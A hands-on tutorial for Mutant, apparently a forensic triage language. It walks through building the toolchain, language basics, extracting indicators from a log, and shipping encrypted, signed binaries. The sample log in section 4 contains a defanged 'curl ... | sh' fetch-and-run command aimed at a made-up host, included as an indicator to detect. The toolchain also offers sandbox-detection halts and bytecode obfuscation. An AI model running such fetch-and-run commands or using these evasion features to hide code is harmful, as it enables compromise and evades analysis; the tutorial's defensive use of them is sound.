Mutant in 30 minutes

By the end of this you will have written a real triage program, run it against a log file, turned it into an encrypted artifact, and built it into a standalone binary you could hand to someone else.

By the end of this you will have written a real triage program, run it against a log file, turned it into an encrypted artifact, and built it into a standalone binary you could hand to someone else. No prior exposure to the language is assumed.

Everything below is a command that was run and an output that came back. Where Mutant does something surprising, this page says so rather than routing around it — the surprises are where the half-hour actually goes.

0–5 min Install, and the first surprise
5–10 min The language on one page
10–14 min The one thing that will bite you
14–20 min A real program: indicators out of a log
20–25 min Triage a file, emit JSON
25–27 min Test, lint, format
27–30 min Ship it

1. Install, and the first surprise#

Clone and build:

git clone https://github.com/aoiflux/mutant
cd mutant
./scripts/build.sh --host-only --no-wasm-repl

On Windows, the same build in PowerShell:

.\scripts\build.ps1 -HostOnly -WasmRepl:$false

Not go install. It is the obvious thing to type, and it does produce a working mutant — which is exactly why it is worth saying plainly that it is not enough. Section 7's mutant release needs a set of embedded runtime binaries that the build script generates and that a plain go build has no way to produce, so a go install binary refuses that last step.

Give it about ten minutes. Almost all of that is generating those runtime binaries, one for each of the seven platforms you could later release to, and --host-only does not shorten it: that flag narrows the final build, not the runtimes. Nothing needs watching, so section 2 is worth reading while it runs.

The script also holds you to the Go version go.mod names, and refuses any other rather than building something the project was never tested against. If your go is a different version it says so, and says what to pass instead.

The binary lands in dist/, named for the platform it was built for. Put it on your PATH under the name the rest of this page uses:

cp dist/mutant-linux-amd64 ~/.local/bin/mutant   # or anywhere on PATH

Check it:

$ mutant --version
Version: 2.6.1

Now write a first program. Call it hello.mut:

putln("hello from mutant");

let xs = [1, 2, 3];
putln(map(xs, fn(x) { return x * 2; }));

Run it:

$ mutant hello.mut

It prints nothing. This is the surprise, and it is the single most useful thing to learn in the first five minutes:

mutant hello.mut compiles. It does not run. It writes hello.mu — an encrypted, signed bytecode artifact — next to your source, and stops.

Running is the second step:

$ mutant hello.mu
hello from mutant
[2, 4, 6]

Both steps ask for a password, because the artifact is encrypted at rest: the compile step prompts twice (set and confirm), the run step once. That is the point of the toolchain, but it is friction you do not want while learning, so while you are experimenting use --dev, which supplies a built-in development key:

$ mutant --dev hello.mut && mutant --dev hello.mu
[dev] no password supplied; using the built-in development key -- not for release artifacts
hello from mutant
[2, 4, 6]

--dev is for local development only. It says so on every run, and the key it uses is public. Everything from §7 onward uses a real password.

For trying a single expression, skip files entirely — bare mutant starts a REPL:

$ mutant
>> extract_iocs("call home to 203.0.113.44")["ipv4"]

If it says "sandbox detected, execution halted"#

Mutant's default mode refuses to run inside what it believes is an analysis environment. That is deliberate — a signed forensic tool that happily executes under a debugger is not much of a guarantee — but it can fire on a machine you consider perfectly ordinary. It tells you what it saw and what to do:

[security] event=sandbox_detected stage=pre-decode action=terminate
[security] detector=sandbox type=WSL confidence=90 signals=windows:process_parent:wsl,...
[security] reason: secure mode does not run where the host looks like an analysis sandbox
[security] remedy: re-run with --compat if this host is expected to look like this.
[security]         --compat weakens the response only: a probe hit warns instead of stopping
[security]         the run. Your password is still required and the artifact is still verified.
sandbox detected, execution halted for security

The signals field names the evidence. Detection scores by confidence and halts at 70. Taking the remedy:

$ mutant prog.mu --compat

--compat weakens the response, not the key: your password is still required and the artifact is still verified. --dev is the one that weakens the key. See EXECUTION_MODES.md.

Expected, and mislabelled before 2.6.0. On Windows, launching mutant straight from Git Bash (or MSYS2/Cygwin), so that its parent process is bash.exe, is detected and secure mode halts. That is intended: an emulated shell is one of the environments the detector exists to notice. The detector looks at that one parent and no further, so a program in between — timeout, env, sh -c or cmd /c, say — hides the shell, which then does not count towards a halt. What was wrong is what it reported. Until 2.6.0 the type was WSL, which was untrue on a machine with no WSL installed; it is now MSYS/Cygwin or legacy WSL, which is everything a bash.exe parent can prove. The behaviour is the same on every version: run from PowerShell or cmd, or pass --compat to make the halt a warning.


2. The language on one page#

Mutant is a small C-family language. If you have written JavaScript or Go you can read it already.

// Bindings. `let` introduces a name; assignment updates one.
let name = "svchost.exe";
let count = 0;
count += 1;

// Numbers, strings, booleans, null. Integers and floats are distinct.
let ratio = 7.9;
let packed = ratio > 7.2;         // true

// Arrays index from zero. Hashes are string-keyed.
let hosts = ["10.0.0.15", "203.0.113.44"];
let finding = {"host": hosts[1], "severity": "high"};
putln(finding["severity"]);        // high

// Conditionals and loops. `break` and `continue` work as you expect.
for (let i = 0; i < len(hosts); i++) {
    if (ip_is_private(hosts[i])) {
        continue;
    };
    putln("external:", hosts[i]);
}

// When the elements are the point rather than the index, loop over them.
// One binding gives an array's element but a hash's key; two give both.
for (host in hosts) {
    putln("host: ${host}");
}
for (key, value in finding) {
    putln("${key} = ${value}");
}

// `while` is for a loop whose end is a condition rather than a count.
let budget = 3;
while (budget > 0) {
    budget = budget - 1;
}

// `match` is an expression, so it produces a value. Patterns are literals,
// enum variants, or `_`; alternatives are joined with `|`.
let label = match (len(hosts)) {
    0     => "nothing to scan",
    1 | 2 => "a short list",
    _     => "a long list",
};
putln(label);                      // a short list

// Functions are values, and they close over their surroundings.
let prefixer = fn(tag) {
    return fn(msg) { return tag + ": " + msg; };
};
let warn = prefixer("WARN");
putln(warn("beaconing"));          // WARN: beaconing

// Collections come with the usual higher-order functions.
let nums = [5, 3, 8, 1];
putln(map(nums, fn(x) { return x * 2; }));           // [10, 6, 16, 2]
putln(filter(nums, fn(x) { return x > 3; }));        // [5, 8]
putln(reduce(nums, fn(acc, x) { return acc + x; }, 0));  // 17
each(nums, fn(x) { putln(x); });

Semicolons terminate statements, including statements whose value is a block — let f = fn() { ... }; and, at the top level, if (c) { ... };. If you forget one, mutant lint tells you exactly where.

putln prints its arguments and a newline; putf prints without one. Both take any number of arguments and any types.

Two more declaration forms exist — struct and enum — plus compile-time macro. You do not need them today; the language reference has them.


3. The one thing that will bite you#

Anything that can fail returns two values: the result, and an error. You bind both:

let raw, err = fs_read("auth.log");
if (err) {
    putln("[error] fs_read:", err);
};

This convention runs through the whole standard library, and it is where a new Mutant program goes wrong. Three facts, in the order you will trip over them.

Not every builtin returns a pair. let a, b = ... is a general destructuring form, not error handling. Given an array on the right, it takes the array apart:

let items = ["a", "b"];

let wrong, err = push(items, "c");     // WRONG. push returns ONE array.
                                       // wrong is "a"; err is "b"
let updated = push(items, "c");        // right: ["a", "b", "c"]

Nothing fails. err holds "b", which is truthy, so an if (err) check even appears to work — while updated silently holds a single letter. push, first, last, rest and len all return one value. The Capability Reference gives every builtin's exact return shape, and the language server flags this specific mistake as builtinSingleReturn while you type.

A missing hash key is null, not an error. This is the same class of quiet wrong answer:

let digest, err = fs_hash("sample.bin", "sha256");
putln(digest["sha256"]);   // prints nothing -- there is no such key
putln(digest["hash"]);     // 21d44192269e9dac...

fs_hash returns {algo, bytes, hash, path, size, status}. The digest lives under hash, whatever algorithm you asked for. Look up field names rather than guessing them: every builtin's returned fields are listed in the Capability Reference, and hovering the call in an editor with the language server shows the same thing.

Errors are values. err is an object, not an exception; nothing unwinds. A program that ignores an error carries on with whatever the first value was.


4. A real program: indicators out of a log#

Save this as auth.log:

2026-08-14T02:11:09Z sshd[4412]: Failed password for admin from 203.0.113.44 port 51022
2026-08-14T02:11:44Z sshd[4412]: Accepted password for admin from 203.0.113.44 port 51022
2026-08-14T02:12:02Z cron[901]: (admin) CMD (curl -s hxxp://cdn.updates-cache[.]net/a.sh | sh)
2026-08-14T02:12:19Z sshd[4488]: Accepted publickey for root from 198.51.100.9 port 40122
2026-08-14T02:15:00Z audit: outbound 10.0.0.15 -> 203.0.113.44:443 established

Note the third line is defanged — hxxp:// and [.] — the way indicators are written in a report so nobody clicks them. Now triage.mut:

let raw, err = fs_read("auth.log");
if (err) {
    putln("[error] fs_read:", err);
};

// extract_iocs refangs the text before matching, so defanged indicators are
// found too. It returns {ipv4, urls, domains, emails, md5, sha1, sha256}.
let iocs = extract_iocs(raw);

putln("external addresses:");
each(iocs["ipv4"], fn(ip) {
    if (!ip_is_private(ip)) {
        putln("  ", defang(ip));
    };
});

putln("callback urls:");
each(iocs["urls"], fn(url) {
    putln("  ", defang(url), "  host=", defang(domain_extract(url)));
});
$ mutant --dev triage.mut && mutant --dev triage.mu
external addresses:
  198[.]51[.]100[.]9
  203[.]0[.]113[.]44
callback urls:
  hxxp://cdn[.]updates-cache[.]net/a[.]sh   host=cdn[.]updates-cache[.]net

Three things worth noticing in fifteen lines:

  • extract_iocs refanged the input, so the defanged URL was found anyway; defang put the indicators back into report-safe form on the way out.
  • ip_is_private did the RFC1918 split, so 10.0.0.15 never reached the report.
  • domain_extract pulled the host out of the URL. Prefer that over iocs["domains"] when you have a URL in hand: the domain matcher works on raw text and will also return path fragments that look like hostnames (a.sh, svc.exe).

That last point is the general lesson. These are pattern matchers over untrusted text, not an oracle. Read what comes back.


5. Triage a file, emit JSON#

A report that only prints is a report you cannot pipe anywhere. filecheck.mut:

let inspect = fn(path) {
    let magic, magic_err = fs_magic(path);
    let digest, hash_err = fs_hash(path, "sha256");
    let ent, ent_err = fs_entropy(path);

    if (magic_err || hash_err || ent_err) {
        return {"path": path, "ok": false};
    };

    return {
        "path":    path,
        "ok":      true,
        "type":    magic["type"],
        "sha256":  digest["hash"],
        "entropy": ent["entropy"],
        "packed":  ent["entropy"] > 7.2,
    };
};

let report = inspect("sample.bin");
putln(report);

let out, err = json_stringify(report);
if (!err) {
    putln(out);
};
$ mutant --dev filecheck.mut && mutant --dev filecheck.mu
{entropy: 7.949850, ok: true, packed: true, path: sample.bin, sha256: 21d441…, type: unknown}
{"entropy":7.949849649923041,"ok":true,"packed":true,"path":"sample.bin","sha256":"21d441…","type":"unknown"}

fs_magic identifies the file from its header against a signature database rather than trusting the extension. fs_entropy returns Shannon entropy — above roughly 7.2 on a whole file means compressed, encrypted, or packed, which is why the packed field is worth carrying. json_stringify gives you something to hand to the rest of your pipeline.

Notice the shape of the error handling: three fallible calls, one combined check, one early return with a result the caller can still inspect. Returning a hash with "ok": false rather than dropping out entirely is the idiom worth copying — a triage tool that silently skips a file is worse than one that says it failed.

The whole forensic standard library is reached this way: 694 builtins across 41 categories, catalogued in the Capability Reference. fs_* for files, bin_* for PE/ELF/Mach-O, reg_* for registry hives, mft_* and the filesystem parsers for disk images, evtx_* and prefetch_* for Windows artifacts, net_* for the wire. They all follow the conventions you have already learned.


6. Test, lint, format#

A test file is an ordinary program named *_test.mut. It is compiled the same way any program is, so it can import the module it is testing:

// iocs_test.mut
test("an IPv4 beacon is extracted", fn() {
	let iocs = extract_iocs("beacon to 203.0.113.44 via hxxp://bad[.]example[.]com/x");

	assert_eq(len(iocs["ipv4"]), 1);
	assert_contains(iocs["ipv4"], "203.0.113.44");
});

test("so is the defanged URL", fn() {
	let iocs = extract_iocs("hxxp://bad[.]example[.]com/x");
	assert_contains(iocs["domains"], "bad.example.com");
});
$ mutant test .
ok    iocs_test.mut  (2 tests, 3ms)

1 file | 2 tests  (3ms)

test(name, fn) runs the test where it is written, so the file reads top to bottom; a test inside another is a subtest. The assertions — assert, assert_eq, assert_ne, assert_contains, assert_err, assert_ok, fail — record the file and line they failed on, and the test carries on rather than stopping: a failure is a recorded fact, not an exception. before_each/after_each are the fixtures.

--run filters by name, --json reports for CI, and --cover says which source lines the tests reached. A file that declares no test(...) still passes unless it errored or its last expression was false, which is what this command used to be in its entirety. The full guide is TESTING.md.

The linter is the same analyzer the language server runs, so the command line and your editor agree:

$ mutant lint triage.mut
$ mutant lint --strict examples/       # --strict also fails on warnings

It catches undefined identifiers, unused declarations, wrong builtin arity and argument types, the let x, err = mistake from §3, and calls to platform-restricted builtins on an OS that does not support them.

There is also mutant fmt, a canonical formatter in the gofmt tradition — one rendering per program, no options. It keeps the brackets you wrote and adds none: a + b * c stays as it is, and so does (a * b) + c. Be aware before you run it on existing code: it joins multi-line expressions back onto one line, which most of the bundled examples do not do. Use --stdout to see what it would do before letting it rewrite anything.

It will not touch a file it cannot parse: like gofmt, it prints the parse errors, leaves the bytes alone and exits non-zero.

$ mutant fmt --stdout triage.mut
$ mutant fmt --check .                 # lists files it would change; exits non-zero

And when putln stops being enough, there is a debugger. mutant debug serves the Debug Adapter Protocol, so the editor drives it: in VS Code, press F5 on a .mut and set breakpoints in the gutter; step over, into and out; read the call stack and the values in each frame. It is started by the editor rather than by hand, and it debugs the source rather than a .mu — a release artifact has had its line numbers stripped, so there is nothing in one to step through. See DEBUGGING.md.


7. Ship it#

You have been using --dev and a public key. Two commands turn the same source into something you can actually hand over.

On Windows, run this section from PowerShell or cmd. Compiling is fine anywhere, but the two commands here that run a program — the .mu and the standalone binary — halt when their parent is Git Bash, which is one of the things the detector exists to notice (section 1 has the detail). --compat makes the halt a warning if you would rather stay where you are.

An encrypted artifact. This is the .mu from step 1, made properly:

$ mutant gen --src triage.mut --password-file ./case-42.key
Generating bytecode...
Compiled in: 29.7688ms

The recipient needs mutant and the password:

$ mutant triage.mu --password-file ./case-42.key

A standalone binary. No interpreter on the far end, no dependencies:

$ mutant release --src triage.mut --password-file ./case-42.key
Compiling release build...
$ ./triage.exe --password-file ./case-42.key
[security] self-verification only; add --signer-auth (with --trusted-key <path>) to verify against a trusted public key
external addresses:
  198[.]51[.]100[.]9
  203[.]0[.]113[.]44

Cross-compile with --os and --arch; raise obfuscation with --mutation, which emits functionally identical but structurally different bytecode on every build.

The password still applies. A release binary carries the payload encrypted; it is not a way to ship a program that runs without the key. If you want the recipient to verify who built it rather than only that it is intact, sign against a trusted key and have them run with --signer-auth --trusted-key. The line about "self-verification only" above is the runtime telling you honestly that nobody asked it to check a signer.

Never pass a password as a flag value. --password puts the secret in the process table and your shell history, and since 2.6.0 it is refused. The three supported routes are an interactive prompt (the default), --password-file, and --password-stdin for pipelines:

$ printf '%s' "$SECRET" | mutant gen --src triage.mut --password-stdin

Where to go next#

  • Cookbook — the next step from here: fourteen complete programs organised by the question you are asking, not by builtin category.
  • Capability Reference — every builtin, its typed signature, its returned fields, and its platform support. Generated from the registry, so it cannot go stale.
  • Language reference — structs, enums, macros, concurrency (spawn, channels, pmap), and the bytes type for binary data.
  • examples/ — 131 runnable programs grouped by subject. examples/workshop/ is the closest thing to a continuation of this tutorial.
  • What is Mutant? — why the language exists and what it is for.
  • Why Mutant, and when not to — the honest comparison against plaso, Velociraptor, osquery and YARA+Sigma.
  • Security model — what the signing, encryption, tamper detection and mutation actually promise, and what they do not.

Install the VS Code extension for hover documentation, completion driven by the same metadata as the reference above, inlay hints, and the diagnostics mutant lint reports.

Related reading